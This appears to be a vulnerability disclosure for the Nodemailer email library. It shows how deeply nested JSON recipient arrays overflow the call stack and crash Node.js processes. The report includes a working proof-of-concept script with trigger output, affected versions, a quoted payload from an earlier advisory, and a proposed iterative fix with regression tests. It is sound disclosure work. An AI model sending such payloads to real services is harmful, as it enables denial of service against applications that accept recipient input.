Details
Create poc.mjs:
import nodemailer from 'nodemailer';
const depth = Number(process.argv[2] || 5000);
// Valid JSON containing one address wrapped in `depth` arrays.
const json =
'['.repeat(depth) +
'"[email protected]"' +
']'.repeat(depth);
const recipient = JSON.parse(json);
console.log({
nodemailerVersion: '10.0.1',
depth,
jsonBytes: Buffer.byteLength(json)
});
const transport = nodemailer.createTransport({
jsonTransport: true
});
await transport.sendMail({
from: '[email protected]',
to: recipient,
subject: 'Nested recipient array PoC',
text: 'test'
});
console.log('sendMail resolved');
Trigger
node poc.mjs 5000
Observed result
{
nodemailerVersion: '10.0.1',
depth: 5000,
jsonBytes: 10021
}
node:internal/modules/run_main:123
triggerUncaughtException(
^
RangeError: Maximum call stack size exceeded
at Array.join (<anonymous>)
at Array.toString (<anonymous>)
at Array.join (<anonymous>)
at Array.toString (<anonymous>)
at Array.join (<anonymous>)
at Array.toString (<anonymous>)
...
Node.js v20.20.2
The tested process exits with status code 1.
Control case
Running the same code with a nesting depth of 500 succeeds:
node poc.mjs 500
Observed result:
{
nodemailerVersion: '10.0.1',
depth: 500,
jsonBytes: 1021
}
sendMail resolved
The difference between the trigger and control cases is only the nesting depth.
Reproduction notes
- The exact failure depth is platform and runtime dependent because JavaScript stack limits vary.
- A depth of 5,000 reliably reproduced the exception in the tested Node.js environment.
- The payload is generated as JSON and parsed with native
JSON.parse()to model data received by an HTTP API or queue worker. - No network connection is performed because
jsonTransportis used.
Version verification
The proof of concept was executed against several released versions. Each listed version exited with RangeError: Maximum call stack size exceeded at a depth of 5,000:
| Nodemailer version | Result |
|---|---|
| 2.7.2 | Vulnerable |
| 3.0.0 | Vulnerable |
| 7.0.11 | Vulnerable |
| 9.1.1 | Vulnerable |
| 10.0.1 | Vulnerable |
Version 7.0.11 is significant because it contains the fix for the previous string-group recursion advisory. Its failure confirms that this report describes a separate surviving path.
The proposed affected range is >= 2.7.2, <= 10.0.1, representing the versions directly confirmed during testing and the continuous vulnerable implementation observed in source history. Earlier releases were not assessed and should not be considered confirmed safe.
Difference from GHSA-rcmh-qjqh-p98v / CVE-2025-14874
The previous advisory used a crafted address string containing nested RFC 5322 groups:
g0: g1: g2: ... [email protected];
Its recursive path was:
addressparser(string)
-> _handleAddress()
-> addressparser(nested group string)
That issue was mitigated by adding and propagating a parser recursion-depth counter capped by MAX_NESTED_GROUP_DEPTH.
This report instead supplies a structured JSON array through the public recipient input:
MimeNode._parseAddresses(array)
-> addressparser(array)
-> Tokenizer
-> Array.prototype.toString()
The array conversion happens before any RFC 5322 group parsing. Consequently:
- No sequence of nested group delimiters is required.
_handleAddress()is not the source of recursion.- The
_depthparser option is not incremented. MAX_NESTED_GROUP_DEPTHis never consulted.- Releases containing the previous fix remain vulnerable.
Previous advisory:
https://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v
Suggested remediation
Flatten MimeNodeAddressInput values iteratively before passing scalar values to addressparser(). Nested arrays should never be implicitly converted to strings.
For example, the implementation can maintain an explicit work stack:
const pending: unknown[] = [addresses];
const seenArrays = new WeakSet<object>();
while (pending.length) {
const value = pending.pop();
if (Array.isArray(value)) {
if (seenArrays.has(value)) {
throw new TypeError('Cyclic recipient array');
}
seenArrays.add(value);
for (let i = value.length - 1; i >= 0; i--) {
pending.push(value[i]);
}
continue;
}
// Process only scalar strings and structured address objects here.
}
Additional hardening options include:
- Reject array nesting above an explicit maximum before any coercion.
- Reject unsupported recipient value types instead of passing them to
addressparser(). - Catch address-normalization exceptions and report them through the normal
sendMail()callback or rejected Promise. - Apply input-complexity checks before constructing the envelope and before evaluating
maxRecipients.
An iterative implementation is preferable because the public TypeScript type is recursive and indicates that nested array structures are accepted inputs. Cycle detection remains necessary for direct JavaScript callers because cyclic arrays cannot originate from JSON but can be constructed in memory.
Suggested regression tests
The fix should cover:
- Deeply nested arrays containing one valid address, completing iteratively or failing with a controlled Nodemailer error.
- Nested inputs through
to,cc,bcc,replyTo, and explicit envelope fields. - A cyclic JavaScript recipient array.
- Ordinary flat strings and arrays, preserving existing behavior.
- Arrays containing structured
{ name, address }objects. - Confirmation that failures reach the callback or rejected Promise instead of escaping the documented error path.